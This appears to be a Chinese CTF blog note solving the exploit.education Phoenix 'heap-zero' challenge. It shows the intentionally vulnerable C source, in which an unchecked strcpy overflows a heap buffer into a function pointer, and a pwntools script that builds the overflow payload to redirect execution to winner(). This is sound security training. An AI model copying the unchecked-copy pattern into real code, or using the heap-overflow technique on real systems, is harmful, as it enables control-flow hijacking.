BuringStraw

BuringStraw

[pwn笔记6] 堆零 (phoenix)

heap-zero#

/*
 * phoenix/heap-zero, 由 https://exploit.education 提供
 *
 * 你能劫持流程控制并执行winner函数吗?
 *
 * 为什么C程序员是好的佛教徒?
 * 因为他们不是面向对象的。
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "欢迎来到" LEVELNAME ",由 https://exploit.education 提供"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("恭喜你,你已通过此关卡\n");
}

void nowinner() {
  printf(
      "关卡未通过 - 函数指针未被覆写\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("请指定一个要复制的参数 :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("data位于 %p,fp位于 %p,将调用 %p\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

在堆上分配时,d 和 f 竟然挨在一起,太神奇了!

#!/usr/bin/env python3
from pwn import *
payload = b"a"*(0x60-0x10)
payload += b"\xbd\x0a\x40"
open("/home/user/buf","wb").write(payload)
p=process(["/opt/phoenix/amd64/heap-zero",payload])
p.interactive()
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。